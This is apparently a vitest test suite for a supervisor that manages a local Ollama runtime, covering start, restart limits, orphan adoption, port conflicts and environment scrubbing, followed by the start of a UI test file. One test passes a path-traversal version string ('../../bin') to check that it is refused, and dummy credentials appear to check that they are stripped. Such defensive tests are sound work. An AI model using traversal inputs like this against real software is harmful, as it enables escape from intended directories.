* - A child that exits by itself is restarted at most 3 times, then given up.
* - Stop: SIGTERM, and nothing is restarted afterwards.
* - Under vitest nothing spawns unless the test injects it.
*
* Port: none fixed (each test reserves a free loopback port).
*/
import { existsSync } from 'node:fs';
import { rm } from 'node:fs/promises';
import { createServer, type Server } from 'node:net';
import type { ChildProcess, SpawnOptions } from 'node:child_process';
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
import { localModelPaths, runtimeBinaryForVersion, type LocalModelPaths } from '../src/local-model/paths.js';
import {
createRuntimeSupervisor,
RUNTIME_MAX_RESTARTS,
type RuntimeStatus,
type RuntimeSupervisor,
type RuntimeSupervisorDeps,
} from '../src/local-model/runtime.js';
import {
createFakeOllama,
FakeRuntimeChild,
freeLoopbackPort,
startFakeOllama,
type FakeOllama,
type FakeOllamaOptions,
} from './fixtures/fake-ollama.js';
const CONTEXT = 131072;
/** A pid of an "earlier server's" runtime. Above every real pid, like the fake's own. */
const ORPHAN_PID = 9_800_000;
let paths: LocalModelPaths;
let port: number;
const fakes: FakeOllama[] = [];
const supervisors: RuntimeSupervisor[] = [];
const servers: Server[] = [];
beforeEach(async () => {
paths = localModelPaths('0.40.15');
port = await freeLoopbackPort();
});
afterEach(async () => {
for (const supervisor of supervisors.splice(0)) await supervisor.stop();
for (const fake of fakes.splice(0)) await fake.close();
for (const server of servers.splice(0)) await new Promise<void>((resolve) => server.close(() => resolve()));
await rm(paths.root, { recursive: true, force: true });
});
/** A fake runtime that does not listen until it is "spawned". */
function fakeRuntime(options: FakeOllamaOptions = {}): FakeOllama {
const fake = createFakeOllama(options);
fakes.push(fake);
return fake;
}
/** The children the fake has spawned so far. */
function children(fake: FakeOllama): FakeRuntimeChild[] {
return fake.state.children;
}
interface Harness {
supervisor: RuntimeSupervisor;
/** Every status `onChange` was called with. */
changes: RuntimeStatus[];
/** Every wait the supervisor asked for. */
waits: number[];
/** Every signal sent to a pid that is not our child. */
kills: [number, NodeJS.Signals][];
}
/** A supervisor whose child is `fake`. Waits are instant unless a test passes its own `sleep`. */
function supervise(fake: FakeOllama, overrides: Partial<RuntimeSupervisorDeps> = {}): Harness {
const changes: RuntimeStatus[] = [];
const waits: number[] = [];
const kills: [number, NodeJS.Signals][] = [];
const supervisor = createRuntimeSupervisor({
spawn: fake.spawn,
fetch,
env: { PATH: '/usr/bin:/bin' },
pin: fake.pin(),
paths,
sleep: async (ms) => {
waits.push(ms);
},
commandOfPid: async () => undefined,
kill: (pid, signal) => {
kills.push([pid, signal]);
},
onChange: (status) => changes.push(status),
startTimeoutMs: 3_000,
budgetWaitMs: 500,
...overrides,
});
supervisors.push(supervisor);
return { supervisor, changes, waits, kills };
}
/** Waits until `check()` is true. Fails the test when it never is. */
async function until(check: () => boolean, what: string, timeoutMs = 3_000): Promise<void> {
const deadline = Date.now() + timeoutMs;
while (!check()) {
if (Date.now() > deadline) throw new Error(`Timed out waiting for: ${what}`);
await new Promise((resolve) => setTimeout(resolve, 5));
}
}
/** The command line `ps` would print for a runtime of ours. */
function ownCommand(): string {
return `${paths.binary} serve`;
}
// ---------- Start ----------
describe('start', () => {
it('starts one child, the runtime binary with "serve", and answers once it is up', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
const result = await supervisor.start({ port, contextLength: CONTEXT });
expect(children(fake)).toHaveLength(1);
const child = children(fake)[0];
expect(child.command).toBe(paths.binary);
expect(child.args).toEqual(['serve']);
expect(result).toEqual({
ok: true,
pid: child.pid,
port,
orphan: 'none',
// 37.4 GiB, read from the child's log line "inference compute".
measuredTotalBytes: 40_157_944_217,
});
expect(supervisor.status()).toEqual({
running: true,
pid: child.pid,
port,
contextLength: CONTEXT,
measuredTotalBytes: 40_157_944_217,
restarts: 0,
gaveUp: false,
});
expect(fake.port).toBe(port);
});
it('starts the child non-detached, with pipes, in the private home', async () => {
const fake = fakeRuntime();
const seen: SpawnOptions[] = [];
const { supervisor } = supervise(fake, {
spawn: (command, args, options) => {
seen.push(options);
return fake.spawn(command, args, options);
},
});
await supervisor.start({ port, contextLength: CONTEXT });
expect(seen).toHaveLength(1);
expect(seen[0].detached).toBe(false);
expect(seen[0].stdio).toEqual(['ignore', 'pipe', 'pipe']);
expect(seen[0].cwd).toBe(paths.homeDir);
expect(seen[0]).not.toHaveProperty('shell');
// The folders it needs exist before it starts.
expect(existsSync(paths.homeDir)).toBe(true);
expect(existsSync(paths.modelsDir)).toBe(true);
});
it('gives the child the allowlisted environment and nothing of the server beyond it', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake, {
env: {
PATH: '/usr/bin:/bin',
HOME: '/Users/arkon',
LANG: 'en_US.UTF-8',
CODEMAN_PASSWORD: 'hunter2',
CODEMAN_API_URL: 'http://127.0.0.1:3000',
OLLAMA_ORIGINS: '*',
OLLAMA_HOST: '0.0.0.0:11434',
OLLAMA_KEEP_ALIVE: '-1',
ANTHROPIC_API_KEY: 'sk-ant-secret',
},
});
await supervisor.start({ port, contextLength: 65536 });
expect(children(fake)[0].env).toEqual({
PATH: '/usr/bin:/bin',
LANG: 'en_US.UTF-8',
HOME: paths.homeDir,
OLLAMA_HOST: `127.0.0.1:${port}`,
OLLAMA_MODELS: paths.modelsDir,
OLLAMA_CONTEXT_LENGTH: '65536',
OLLAMA_NO_CLOUD: '1',
OLLAMA_KEEP_ALIVE: '10m',
OLLAMA_NUM_PARALLEL: '1',
OLLAMA_MAX_LOADED_MODELS: '1',
});
});
it('reads the budget the child logs, whatever the Mac', async () => {
const fake = fakeRuntime({ spawn: { total: '11.8 GiB' } });
const { supervisor } = supervise(fake);
const result = await supervisor.start({ port, contextLength: CONTEXT });
expect(result).toMatchObject({ ok: true, measuredTotalBytes: 12_670_153_523 });
expect(supervisor.status().measuredTotalBytes).toBe(12_670_153_523);
});
it('still starts when the child prints no budget line, and reports none', async () => {
const fake = fakeRuntime({ spawn: { logsBudget: false } });
const { supervisor } = supervise(fake, { budgetWaitMs: 60 });
const result = await supervisor.start({ port, contextLength: CONTEXT });
expect(result).toMatchObject({ ok: true, port });
expect(result).not.toHaveProperty('measuredTotalBytes');
expect(supervisor.status()).not.toHaveProperty('measuredTotalBytes');
expect(supervisor.status().running).toBe(true);
});
it('is idempotent: a child that already runs as asked is kept', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
const first = await supervisor.start({ port, contextLength: CONTEXT });
const second = await supervisor.start({ port, contextLength: CONTEXT });
expect(second).toEqual(first);
expect(children(fake)).toHaveLength(1);
expect(children(fake)[0].signals).toEqual([]);
});
it('replaces a child that runs with another context length', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
await supervisor.start({ port, contextLength: CONTEXT });
const result = await supervisor.start({ port, contextLength: 65536 });
expect(result).toMatchObject({ ok: true, orphan: 'none' });
expect(children(fake)).toHaveLength(2);
// The first got SIGTERM; the second runs with the new context.
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
expect(children(fake)[1].env.OLLAMA_CONTEXT_LENGTH).toBe('65536');
expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[1].pid, contextLength: 65536 });
// Replacing on purpose is not a crash.
expect(supervisor.status().restarts).toBe(0);
});
it('runs two starts one after the other, never two children at once', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
const [a, b] = await Promise.all([
supervisor.start({ port, contextLength: CONTEXT }),
supervisor.start({ port, contextLength: CONTEXT }),
]);
expect(a).toMatchObject({ ok: true });
expect(b).toEqual(a);
expect(children(fake)).toHaveLength(1);
});
it('refuses a port or a context length that is none, without starting anything', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
for (const bad of [0, -1, 70_000, 1.5, Number.NaN]) {
expect(await supervisor.start({ port: bad, contextLength: CONTEXT }), String(bad)).toMatchObject({
ok: false,
code: 'runtime-start-failed',
});
}
for (const bad of [0, -5, 1.5, Number.NaN]) {
expect(await supervisor.start({ port, contextLength: bad }), String(bad)).toMatchObject({
ok: false,
code: 'runtime-start-failed',
});
}
expect(children(fake)).toHaveLength(0);
});
it('tells its caller every change, and survives a caller that throws', async () => {
const fake = fakeRuntime();
const seen: RuntimeStatus[] = [];
const { supervisor } = supervise(fake, {
onChange: (status) => {
seen.push(status);
throw new Error('the state file is read-only');
},
});
const result = await supervisor.start({ port, contextLength: CONTEXT });
expect(result).toMatchObject({ ok: true });
// The caller stores pid and port from this.
expect(seen.at(-1)).toMatchObject({ running: true, pid: children(fake)[0].pid, port, contextLength: CONTEXT });
await supervisor.stop();
expect(seen.at(-1)).toEqual({ running: false, restarts: 0, gaveUp: false });
});
it('hands out a copy of its status', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
await supervisor.start({ port, contextLength: CONTEXT });
const status = supervisor.status();
status.running = false;
status.pid = 1;
expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[0].pid });
});
it("writes no state file: storing pid and port is the caller's business", async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
await supervisor.start({ port, contextLength: CONTEXT });
await supervisor.stop();
expect(existsSync(paths.stateFile)).toBe(false);
});
});
// ---------- A start that fails ----------
describe('a start that fails', () => {
it('answers runtime-start-failed when the child never answers, and does not leave it running', async () => {
const fake = fakeRuntime({ spawn: { neverListens: true } });
const { supervisor } = supervise(fake, { startTimeoutMs: 150 });
const result = await supervisor.start({ port, contextLength: CONTEXT });
expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
const detail = (result as { detail?: string }).detail ?? '';
expect(detail).toContain('did not answer');
// The last lines of its log are the detail.
expect(detail).toContain('Listening on');
expect(children(fake)).toHaveLength(1);
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
});
it('answers runtime-start-failed when the child exits at once, with what it printed', async () => {
const fake = fakeRuntime({ spawn: { exitsAtOnce: 2 } });
const { supervisor } = supervise(fake);
const result = await supervisor.start({ port, contextLength: CONTEXT });
expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
const detail = (result as { detail?: string }).detail ?? '';
expect(detail).toContain('exited with code 2');
expect(detail).toContain('address already in use');
// A start that failed is not a crash to recover from: nothing is started again.
await new Promise((resolve) => setTimeout(resolve, 50));
expect(children(fake)).toHaveLength(1);
expect(supervisor.status()).toMatchObject({ running: false, restarts: 0, gaveUp: false });
});
it('answers runtime-start-failed when a runtime of another version answers', async () => {
const fake = fakeRuntime({ version: '0.39.2' });
const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } });
const result = await supervisor.start({ port, contextLength: CONTEXT });
expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
expect((result as { detail?: string }).detail).toContain('0.39.2');
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
});
it('answers runtime-start-failed when the binary cannot be started at all', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake, {
spawn: () => {
throw new Error('spawn EACCES');
},
});
expect(await supervisor.start({ port, contextLength: CONTEXT })).toEqual({
ok: false,
code: 'runtime-start-failed',
detail: 'spawn EACCES',
});
});
it('spawns nothing under vitest unless the test injects a spawn', async () => {
// No `spawn` and no `fetch` given: the defaults refuse here.
const supervisor = createRuntimeSupervisor({ paths, startTimeoutMs: 200 });
supervisors.push(supervisor);
const result = await supervisor.start({ port, contextLength: CONTEXT });
// The refusal itself, not a failed attempt to run a binary that is not there.
expect(result).toEqual({
ok: false,
code: 'runtime-start-failed',
detail: 'spawn is not available under vitest: the test must inject its own',
});
expect(supervisor.status().running).toBe(false);
});
it('gives up a start at once when stop is called while it waits', async () => {
const fake = fakeRuntime({ spawn: { neverListens: true } });
const { supervisor } = supervise(fake, {
startTimeoutMs: 20_000,
sleep: () => new Promise((resolve) => setTimeout(resolve, 10)),
});
const starting = supervisor.start({ port, contextLength: CONTEXT });
await until(() => children(fake).length === 1, 'the child to be spawned');
const began = Date.now();
await supervisor.stop();
const result = await starting;
expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
// Not after the 20 seconds a start may take.
expect(Date.now() - began).toBeLessThan(5_000);
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
expect(supervisor.status().running).toBe(false);
});
});
// ---------- The port ----------
describe('the port', () => {
/** A runtime that listens on `port` already, as an earlier server's would. */
async function listeningRuntime(options: FakeOllamaOptions = {}): Promise<FakeOllama> {
const other = createFakeOllama(options);
fakes.push(other);
await other.listen(port);
return other;
}
it('answers port-in-use for a runtime that is not ours, and does not touch it', async () => {
// The user's own runtime on our port. No pid of ours is stored.
const theirs = await listeningRuntime();
const fake = fakeRuntime();
const { supervisor, kills } = supervise(fake);
const result = await supervisor.start({ port, contextLength: CONTEXT });
// Told apart from any other program on the port: it answers as a runtime, and is not ours.
expect(result).toEqual({
ok: false,
code: 'port-in-use',
detail: `A model runtime that Codeman did not start answers on port ${port} (version 0.40.15)`,
});
expect(children(fake)).toHaveLength(0);
expect(kills).toEqual([]);
expect(theirs.listening).toBe(true);
expect(supervisor.status().running).toBe(false);
});
it('answers port-in-use when the stored pid now runs something else', async () => {
const theirs = await listeningRuntime();
const fake = fakeRuntime();
const { supervisor, kills } = supervise(fake, {
// The pid was reused, or it is a runtime outside our folder.
commandOfPid: async () => '/usr/local/bin/ollama serve',
});
const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
expect(result).toMatchObject({ ok: false, code: 'port-in-use' });
expect(kills).toEqual([]);
expect(theirs.listening).toBe(true);
expect(children(fake)).toHaveLength(0);
});
it('answers port-in-use for a listener that is no runtime at all', async () => {
// Some other program: it takes the connection and hangs up.
const holder = createServer((socket) => socket.destroy());
servers.push(holder);
await new Promise<void>((resolve) => holder.listen(port, '127.0.0.1', () => resolve()));
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
expect(await supervisor.start({ port, contextLength: CONTEXT })).toEqual({
ok: false,
code: 'port-in-use',
detail: `Another program holds port ${port}`,
});
expect(children(fake)).toHaveLength(0);
});
it('ADOPTS its own orphan when that holds a loaded model at the wanted context', async () => {
const orphan = await listeningRuntime({ installed: true });
orphan.state.loaded = true;
let gone = false;
const fake = fakeRuntime();
const { supervisor, kills, changes } = supervise(fake, {
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
});
const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
// Kept as it is: nothing spawned, nothing signalled, the loaded model stays loaded.
expect(result).toEqual({ ok: true, pid: ORPHAN_PID, port, orphan: 'adopted' });
expect(children(fake)).toHaveLength(0);
expect(kills).toEqual([]);
expect(orphan.listening).toBe(true);
// Its log is not ours to read, so there is no measured budget.
expect(supervisor.status()).toEqual({
running: true,
pid: ORPHAN_PID,
port,
contextLength: CONTEXT,
restarts: 0,
gaveUp: false,
});
expect(changes.at(-1)).toMatchObject({ running: true, pid: ORPHAN_PID });
// So that the stop after this test finds it gone and does not wait out its grace period.
gone = true;
});
it('stops an adopted orphan by its pid', async () => {
const orphan = await listeningRuntime({ installed: true });
orphan.state.loaded = true;
let gone = false;
const fake = fakeRuntime();
const { supervisor, kills } = supervise(fake, {
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
kill: (pid, signal) => {
kills.push([pid, signal]);
gone = true;
},
});
await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
await supervisor.stop();
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
});
/** Starts with an orphan on the port that is ours and goes away when it is signalled. */
async function startOverOrphan(orphanOptions: FakeOllamaOptions, loaded: boolean) {
const orphan = await listeningRuntime(orphanOptions);
orphan.state.loaded = loaded;
let gone = false;
const fake = fakeRuntime();
const harness = supervise(fake, {
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
kill: (pid, signal) => {
harness.kills.push([pid, signal]);
gone = true;
void orphan.close();
},
});
const result = await harness.supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
return { orphan, fake, result, ...harness };
}
it('REPLACES its own orphan when that has no model loaded: nothing is lost, and the budget is read again', async () => {
const { orphan, fake, result, kills, supervisor } = await startOverOrphan({ installed: true }, false);
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
expect(orphan.listening).toBe(false);
expect(children(fake)).toHaveLength(1);
expect(result).toEqual({
ok: true,
pid: children(fake)[0].pid,
port,
orphan: 'replaced',
measuredTotalBytes: 40_157_944_217,
});
expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[0].pid });
});
it('replaces its own orphan when the model is loaded at another context', async () => {
const { fake, result, kills } = await startOverOrphan({ installed: true, contextLength: 32768 }, true);
expect(result).toMatchObject({ ok: true, orphan: 'replaced' });
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
expect(children(fake)[0].env.OLLAMA_CONTEXT_LENGTH).toBe(String(CONTEXT));
});
it('replaces its own orphan when it is another version than the pinned one', async () => {
const { fake, result, kills } = await startOverOrphan({ installed: true, version: '0.39.2' }, true);
expect(result).toMatchObject({ ok: true, orphan: 'replaced' });
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
expect(children(fake)).toHaveLength(1);
});
it('replaces its own orphan that no longer answers, and starts on the free port', async () => {
// The stored pid is a runtime of ours, but nothing listens on the port.
let gone = false;
const fake = fakeRuntime();
const { supervisor, kills } = supervise(fake, {
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
kill: (pid, signal) => {
kills.push([pid, signal]);
gone = true;
},
});
const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
expect(result).toMatchObject({ ok: true, orphan: 'replaced' });
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
});
it('never signals a pid whose command is not under our runtime folder', async () => {
for (const command of [
'/usr/local/bin/ollama serve',
`${paths.runtimeRoot}-other/ollama serve`,
`/bin/sh -c ${paths.binary} serve`,
undefined,
]) {
const fake = fakeRuntime();
const { supervisor, kills } = supervise(fake, { commandOfPid: async () => command });
const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
expect(result, String(command)).toMatchObject({ ok: true, orphan: 'none' });
expect(kills, String(command)).toEqual([]);
await supervisor.stop();
}
});
it('takes over from an adopted orphan that dies: the next runtime is a child of its own', async () => {
const orphan = await listeningRuntime({ installed: true });
orphan.state.loaded = true;
let gone = false;
const fake = fakeRuntime();
const { supervisor } = supervise(fake, {
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
orphanPollMs: 15,
});
expect(await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID })).toMatchObject({
orphan: 'adopted',
});
// The orphan dies by itself.
await orphan.close();
gone = true;
await until(() => children(fake).length === 1 && supervisor.status().running, 'a child of our own to run');
expect(supervisor.status()).toMatchObject({
running: true,
pid: children(fake)[0].pid,
port,
restarts: 1,
measuredTotalBytes: 40_157_944_217,
});
});
});
// ---------- Restart ----------
describe('a child that exits by itself', () => {
it('is started again, with the same port and context', async () => {
const fake = fakeRuntime();
const { supervisor, waits, changes } = supervise(fake);
await supervisor.start({ port, contextLength: CONTEXT });
const first = children(fake)[0];
first.crash(1);
await until(() => children(fake).length === 2 && supervisor.status().running, 'the runtime to run again');
const second = children(fake)[1];
expect(second.env.OLLAMA_HOST).toBe(`127.0.0.1:${port}`);
expect(second.env.OLLAMA_CONTEXT_LENGTH).toBe(String(CONTEXT));
expect(supervisor.status()).toMatchObject({ running: true, pid: second.pid, restarts: 1, gaveUp: false });
// It waited a second before starting it again.
expect(waits).toContain(1000);
// The caller was told that it stopped, and that it runs again.
const running = changes.map((status) => status.running);
expect(running.indexOf(false, running.indexOf(true))).toBeGreaterThan(0);
expect(running.at(-1)).toBe(true);
// Nobody signalled the one that crashed.
expect(first.signals).toEqual([]);
});
it('is started again at most 3 times, then given up', async () => {
expect(RUNTIME_MAX_RESTARTS).toBe(3);
const fake = fakeRuntime();
const { supervisor, changes } = supervise(fake);
await supervisor.start({ port, contextLength: CONTEXT });
for (let crash = 1; crash <= 3; crash++) {
children(fake).at(-1)?.crash(1);
await until(() => children(fake).length === crash + 1 && supervisor.status().running, `restart number ${crash}`);
expect(supervisor.status()).toMatchObject({ running: true, restarts: crash, gaveUp: false });
}
// The fourth exit is one too many.
children(fake).at(-1)?.crash(1);
await until(() => supervisor.status().gaveUp, 'the supervisor to give up');
expect(supervisor.status()).toEqual({
running: false,
port,
contextLength: CONTEXT,
measuredTotalBytes: 40_157_944_217,
restarts: 3,
gaveUp: true,
});
// The first child and three restarts, and no fifth.
await new Promise((resolve) => setTimeout(resolve, 60));
expect(children(fake)).toHaveLength(4);
expect(changes.at(-1)).toMatchObject({ running: false, gaveUp: true, restarts: 3 });
});
it('counts a restart that does not come up as one of the three', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake, { startTimeoutMs: 100 });
await supervisor.start({ port, contextLength: CONTEXT });
// From now on the runtime exits as soon as it is started.
fake.switches.spawn.exitsAtOnce = 1;
children(fake)[0].crash(1);
await until(() => supervisor.status().gaveUp, 'the supervisor to give up');
expect(children(fake)).toHaveLength(4);
expect(supervisor.status()).toMatchObject({ running: false, restarts: 3, gaveUp: true });
});
it('starts counting again after a start that was asked for', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake, { startTimeoutMs: 100 });
await supervisor.start({ port, contextLength: CONTEXT });
fake.switches.spawn.exitsAtOnce = 1;
children(fake)[0].crash(1);
await until(() => supervisor.status().gaveUp, 'the supervisor to give up');
// The person presses Start: it runs again, and the count is back at 0.
fake.switches.spawn.exitsAtOnce = undefined;
const result = await supervisor.start({ port, contextLength: CONTEXT });
expect(result).toMatchObject({ ok: true, orphan: 'none' });
expect(supervisor.status()).toMatchObject({ running: true, restarts: 0, gaveUp: false });
});
it('is not started again once stop was called, also while it waits to restart', async () => {
const fake = fakeRuntime();
let release: () => void = () => undefined;
const { supervisor } = supervise(fake, {
// The wait before a restart does not end by itself; the polls of a start still do.
sleep: (ms) =>
ms === 1000
? new Promise<void>((resolve) => {
release = resolve;
})
: Promise.resolve(),
});
await supervisor.start({ port, contextLength: CONTEXT });
children(fake)[0].crash(1);
await until(() => supervisor.status().restarts === 1, 'the restart to be scheduled');
const stopping = supervisor.stop();
release();
await stopping;
await new Promise((resolve) => setTimeout(resolve, 50));
expect(children(fake)).toHaveLength(1);
expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
});
});
// ---------- Stop ----------
describe('stop', () => {
it('sends the child SIGTERM and resolves once it is gone', async () => {
const fake = fakeRuntime();
const { supervisor, changes } = supervise(fake);
await supervisor.start({ port, contextLength: CONTEXT });
const child = children(fake)[0];
await supervisor.stop();
expect(child.signals).toEqual(['SIGTERM']);
expect(child.signalCode).toBe('SIGTERM');
// Gone, and the port is free again.
expect(fake.listening).toBe(false);
await expect(fetch(`http://127.0.0.1:${port}/api/version`)).rejects.toThrow();
expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
expect(changes.at(-1)).toEqual({ running: false, restarts: 0, gaveUp: false });
});
it('does not take the stop for a crash: nothing is started again', async () => {
const fake = fakeRuntime();
const { supervisor, waits } = supervise(fake);
await supervisor.start({ port, contextLength: CONTEXT });
await supervisor.stop();
await new Promise((resolve) => setTimeout(resolve, 60));
expect(children(fake)).toHaveLength(1);
expect(waits).not.toContain(1000);
});
it('is safe when nothing runs, and twice in a row', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
await supervisor.stop();
await supervisor.start({ port, contextLength: CONTEXT });
await Promise.all([supervisor.stop(), supervisor.stop()]);
await supervisor.stop();
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
expect(supervisor.status().running).toBe(false);
});
it('can be started again after a stop', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
await supervisor.start({ port, contextLength: CONTEXT });
await supervisor.stop();
const again = await supervisor.start({ port, contextLength: CONTEXT });
expect(again).toMatchObject({ ok: true, pid: children(fake)[1].pid, orphan: 'none' });
expect(children(fake)).toHaveLength(2);
});
it('kills the child when the server process exits without its shutdown', async () => {
// The last resort for a forced exit: a listener on the process, for as long as the child lives.
const fake = fakeRuntime();
const before = process.listenerCount('exit');
const { supervisor } = supervise(fake);
await supervisor.start({ port, contextLength: CONTEXT });
expect(process.listenerCount('exit')).toBe(before + 1);
const child = children(fake)[0] as unknown as ChildProcess & FakeRuntimeChild;
// What Node does on `process.exit()`: it calls the listeners.
const added = process.listeners('exit').at(-1) as () => void;
const exited = new Promise<void>((resolve) => child.once('exit', () => resolve()));
added();
await exited;
expect(child.signals).toEqual(['SIGTERM']);
// The listener goes with its child. (This process did not really exit, so the supervisor
// took the exit for a crash and started another child, which has a listener of its own.)
expect(process.listeners('exit')).not.toContain(added);
await supervisor.stop();
expect(process.listenerCount('exit')).toBe(before);
});
});
// ---------- A runtime an earlier server left behind, and the pid that names it ----------
describe('the pid is told the moment the child is spawned', () => {
it('reports it before the child answers, so a server killed during the start leaves a pid', async () => {
// The child never answers: the start waits, and is told to stop.
const fake = fakeRuntime({ spawn: { neverListens: true } });
const { supervisor, changes } = supervise(fake, {
startTimeoutMs: 60_000,
sleep: () => new Promise((resolve) => setTimeout(resolve, 5)),
});
const starting = supervisor.start({ port, contextLength: CONTEXT });
await until(() => children(fake).length === 1, 'the child to be spawned');
await until(() => changes.some((status) => status.pid === children(fake)[0].pid), 'the pid to be reported');
const early = changes.find((status) => status.pid === children(fake)[0].pid);
// Not running yet: it has not answered.
expect(early).toMatchObject({ running: false, pid: children(fake)[0].pid });
await supervisor.stop();
await starting;
// A start that failed leaves no pid behind.
expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
});
});
describe('stop with the pid the state file kept', () => {
it('ends a runtime of ours that this process never started', async () => {
let gone = false;
const fake = fakeRuntime();
const { supervisor, kills } = supervise(fake, {
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
kill: (pid, signal) => {
kills.push([pid, signal]);
gone = true;
},
});
await supervisor.stop({ previousPid: ORPHAN_PID });
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
// Nothing was spawned to do it.
expect(children(fake)).toHaveLength(0);
});
it('ends one that runs another version of ours: the folder decides, not the version', async () => {
let gone = false;
const fake = fakeRuntime();
const { supervisor, kills } = supervise(fake, {
commandOfPid: async (pid) =>
pid === ORPHAN_PID && !gone ? `${runtimeBinaryForVersion(paths, '0.39.2')} serve` : undefined,
kill: (pid, signal) => {
kills.push([pid, signal]);
gone = true;
},
});
await supervisor.stop({ previousPid: ORPHAN_PID });
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
});
it('never signals a pid that runs something else now, nor one that is gone', async () => {
const fake = fakeRuntime();
const { supervisor, kills } = supervise(fake, {
commandOfPid: async (pid) => (pid === ORPHAN_PID ? '/usr/local/bin/ollama serve' : undefined),
});
await supervisor.stop({ previousPid: ORPHAN_PID });
await supervisor.stop({ previousPid: ORPHAN_PID + 1 });
await supervisor.stop({ previousPid: 1 });
await supervisor.stop({ previousPid: Number.NaN });
expect(kills).toEqual([]);
});
it('stops its own child first, and the stored pid only when it is somebody else', async () => {
const fake = fakeRuntime();
const { supervisor, kills } = supervise(fake);
const started = await supervisor.start({ port, contextLength: CONTEXT });
expect(started.ok).toBe(true);
await supervisor.stop({ previousPid: children(fake)[0].pid });
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
// The child is gone by then: its pid names nothing of ours any more.
expect(kills).toEqual([]);
});
});
describe('start with the version an installed model was installed with', () => {
it('runs that version from its own folder and expects it to answer as that version', async () => {
const fake = fakeRuntime({ version: '0.39.2' });
const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } });
const result = await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' });
expect(result).toMatchObject({ ok: true });
expect(children(fake)[0].command).toBe(runtimeBinaryForVersion(paths, '0.39.2'));
// Asked again the same way: the child is kept. Asked for the pinned version: replaced.
await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' });
expect(children(fake)).toHaveLength(1);
});
it('a restart after a crash starts the same version again', async () => {
const fake = fakeRuntime({ version: '0.39.2' });
const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } });
await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' });
children(fake)[0].crash();
await until(() => children(fake).length === 2 && supervisor.status().running, 'the restart');
expect(children(fake)[1].command).toBe(runtimeBinaryForVersion(paths, '0.39.2'));
});
it('refuses a version that is no version before anything is spawned', async () => {
const fake = fakeRuntime();
const { supervisor } = supervise(fake);
const result = await supervisor.start({ port, contextLength: CONTEXT, version: '../../bin' });
expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
expect(children(fake)).toHaveLength(0);
});
});
+357
View File
@@ -0,0 +1,357 @@
/**
* @fileoverview Real-Chromium coverage for the "Run a model on this Mac" window
* (src/web/public/local-model-ui.js): what DOM emulation cannot answer, because it lays nothing
* out.
*
* - the numbers of the model list line up: every row's speed and download size end on the
* same edge, under their captions, and every tag starts on the same edge;
* - a row is one line on a desktop and two lines under 560px, where nothing runs off the
* side and the buttons take the full width;
* - the memory bar is 12px high and filled to the selected model's share of its track, and
* the fill follows the selection;
* - the selected row carries the feature's colour on its reading edge;
* - the welcome button is really gone while it is `hidden`, and the window paints above App
* Settings.
*
* The REAL index.html is served with its scripts taken out and the two shipping stylesheets
* inlined (mobile.css under the media query its `<link>` carries); the real module runs on a
